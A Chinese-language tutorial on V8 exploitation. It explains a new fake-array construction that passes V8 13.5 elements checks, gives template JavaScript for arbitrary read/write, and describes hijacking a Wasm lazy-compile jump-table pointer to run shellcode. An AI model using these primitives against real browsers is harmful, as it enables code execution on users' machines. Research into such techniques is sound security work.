FakeArray 的新构造 + 劫持 Wasm LazyCompile 实现通用控制流劫持
字数 1761 2025-08-30 06:50:28

FakeArray 新构造与劫持 Wasm LazyCompile 实现通用控制流劫持

前言

本文探讨在 V8 引擎中实现通用控制流劫持的技术,主要关注在已经能够通过漏洞实现 addrOf()fakeObject() 原语后,如何最终实现程序流完整控制的通用手法。

elements 结构校验

问题背景

传统 fake_array 构造方式在 V8 13.5.0 版本中会遇到 elements 结构校验问题,导致利用失败。

代码逻辑分析

  1. 获取 JSArray 对象的 map

    ElementsKind kind = map(cage_base)->elements_kind();
    

    获取 JSArray 对象的 map 并返回 elements 应有的类型。

  2. 获取 elements 中存储的 map

    Tagged<FixedArrayBase> fixed_array = UncheckedCast<FixedArrayBase>(
        TaggedField<HeapObject, kElementsOffset>::load(cage_base, *this));
    Tagged<Map> map = fixed_array->map(cage_base);
    

    从 JSArray 对象的偏移量 kElementsOffset 处加载 elements 指针,然后获取 elements 的 map。

  3. CHECK() 校验 elements->map
    根据 JSArray 对象的 map 进入对应分支,对 elements 的 map 进行严格校验。

结论

在存在 VERIFY_HEAPDEBUG 时,需要目标地址有合适的 elements 结构(map 和 length),传统 fake_array 构造方式不再适用。

JSTypedArray 利用

结构分析

JSTypedArray 对象包含关键指针:

  • data_ptr:指向真实数据存储内存空间
  • base_pointer:存储在偏移 0x38 位置(4 字节堆内压缩指针)
  • external_pointer:存储在偏移 0x30 位置(8 字节原始指针)

关系:data_ptr = base_pointer + external_pointer

两种存储模式

  1. 内联存储(inline elements)

    • 小容量 TypedArray
    • 数据直接放在 TypedArray 的 elements 字段中
    • backing_store 指针为空
  2. 外部存储(external)

    • 大容量 TypedArray
    • data_ptr 指向 buffer 对象的 backing_store
    • external_pointer 为完整指针
    • base_pointer 为 0

利用思路

控制 base_pointerexternal_pointer 的值,可以控制 data_ptr 指针指向任意 64bit 地址,实现原始指针范围内的任意地址读写。

全新的 fake_array 构造

构造步骤

  1. 伪造 doubleArray 和对应 elements

    var fake_double_array = [
        double_array_map,    // map
        int_to_float(0),     // properties
        int_to_float(0x6c), // elements (offset to fake elements)
        int_to_float(0x7),  // length
        ...                  // other fields
    ];
    
    var fake_elements = [
        fixed_double_array_map, // map
        int_to_float(0x100),    // length
        int_to_float(0),        // buffer[0]
        ...                     // other elements
    ];
    
  2. 覆盖 fakeobj.elements

    // Overwrite fake_double_array's elements pointer
    fake_double_array[2] = int_to_float(fake_double_array_addr + 0x10);
    
  3. fake_obj 越界读写

    • 在附近堆区域创建 JSTypedArray
    • 计算偏移进行越界读写

AAR & AAW 实现

// 任意地址读
function aar64(addr) {
    fake_double_array[2] = int_to_float(addr - 0x10);
    return float_to_int(fake_elements[0]);
}

// 任意地址写
function aaw64(addr, value) {
    fake_double_array[2] = int_to_float(addr - 0x10);
    fake_elements[0] = int_to_float(value);
}

程序流控制

WASM 函数调用流程

  1. 首先调用 Function.Code.instruction_start 内容
  2. 进入 JSToWasmWrapper 封装函数
  3. 调用 Builtins_JSToWasmWrapperAsm()
  4. 初次调用时进行 Lazy Compilation

Lazy Compilation 关键点

  1. Builtins_WasmCompileLazy 执行后:

    • 将真实 wasm 代码写入内存
    • 修改 jump_start_table 地址的 jmp 命令
  2. 函数结束时从 WasmInstanceObject => trusted_data => jump_start_table 读取内容并跳转

利用方法

  1. 在函数初次调用前更改 jump_start_table 指针
  2. Lazy Compilation 完成后会从篡改过的指针跳转
  3. 跳转到精心构造的 shellcode 地址

关键优势

  • JSToWasmWrapper 不从 WasmInstanceObject 读取 jump_start_table
  • Lazy Compilation 只依赖函数索引
  • 仅在最后阶段使用被篡改的指针

总结模板代码

// 1. 构造 fake_array
var fake_double_array = [...];
var fake_elements = [...];

// 2. 实现 AAR/AAW
function aar64(addr) {...}
function aaw64(addr, value) {...}

// 3. 准备 WASM 环境
var wasmInstance = new WebAssembly.Instance(...);

// 4. 获取 WASM 相关地址
var wasmInstanceAddr = addrOf(wasmInstance);
var jumpTableStartAddr = wasmInstanceAddr + 0x68; // 偏移需确认

// 5. 篡改 jump_table_start
aaw64(jumpTableStartAddr, shellcodeAddr);

// 6. 首次调用 WASM 函数触发执行流劫持
wasmInstance.exports.main();

这种技术提供了一种通用的控制流劫持方法,适用于多种 V8 利用场景。

FakeArray 新构造与劫持 Wasm LazyCompile 实现通用控制流劫持 前言 本文探讨在 V8 引擎中实现通用控制流劫持的技术,主要关注在已经能够通过漏洞实现 addrOf() 和 fakeObject() 原语后,如何最终实现程序流完整控制的通用手法。 elements 结构校验 问题背景 传统 fake_ array 构造方式在 V8 13.5.0 版本中会遇到 elements 结构校验问题,导致利用失败。 代码逻辑分析 获取 JSArray 对象的 map : 获取 JSArray 对象的 map 并返回 elements 应有的类型。 获取 elements 中存储的 map : 从 JSArray 对象的偏移量 kElementsOffset 处加载 elements 指针,然后获取 elements 的 map。 CHECK() 校验 elements->map : 根据 JSArray 对象的 map 进入对应分支,对 elements 的 map 进行严格校验。 结论 在存在 VERIFY_HEAP 和 DEBUG 时,需要目标地址有合适的 elements 结构(map 和 length),传统 fake_ array 构造方式不再适用。 JSTypedArray 利用 结构分析 JSTypedArray 对象包含关键指针: data_ptr :指向真实数据存储内存空间 base_pointer :存储在偏移 0x38 位置(4 字节堆内压缩指针) external_pointer :存储在偏移 0x30 位置(8 字节原始指针) 关系: data_ptr = base_pointer + external_pointer 两种存储模式 内联存储(inline elements) : 小容量 TypedArray 数据直接放在 TypedArray 的 elements 字段中 backing_store 指针为空 外部存储(external) : 大容量 TypedArray data_ptr 指向 buffer 对象的 backing_store external_pointer 为完整指针 base_pointer 为 0 利用思路 控制 base_pointer 和 external_pointer 的值,可以控制 data_ptr 指针指向任意 64bit 地址,实现原始指针范围内的任意地址读写。 全新的 fake_ array 构造 构造步骤 伪造 doubleArray 和对应 elements : 覆盖 fakeobj.elements : fake_ obj 越界读写 : 在附近堆区域创建 JSTypedArray 计算偏移进行越界读写 AAR & AAW 实现 程序流控制 WASM 函数调用流程 首先调用 Function.Code.instruction_start 内容 进入 JSToWasmWrapper 封装函数 调用 Builtins_JSToWasmWrapperAsm() 初次调用时进行 Lazy Compilation Lazy Compilation 关键点 Builtins_WasmCompileLazy 执行后: 将真实 wasm 代码写入内存 修改 jump_start_table 地址的 jmp 命令 函数结束时从 WasmInstanceObject => trusted_data => jump_start_table 读取内容并跳转 利用方法 在函数初次调用前更改 jump_start_table 指针 Lazy Compilation 完成后会从篡改过的指针跳转 跳转到精心构造的 shellcode 地址 关键优势 : JSToWasmWrapper 不从 WasmInstanceObject 读取 jump_start_table Lazy Compilation 只依赖函数索引 仅在最后阶段使用被篡改的指针 总结模板代码 这种技术提供了一种通用的控制流劫持方法,适用于多种 V8 利用场景。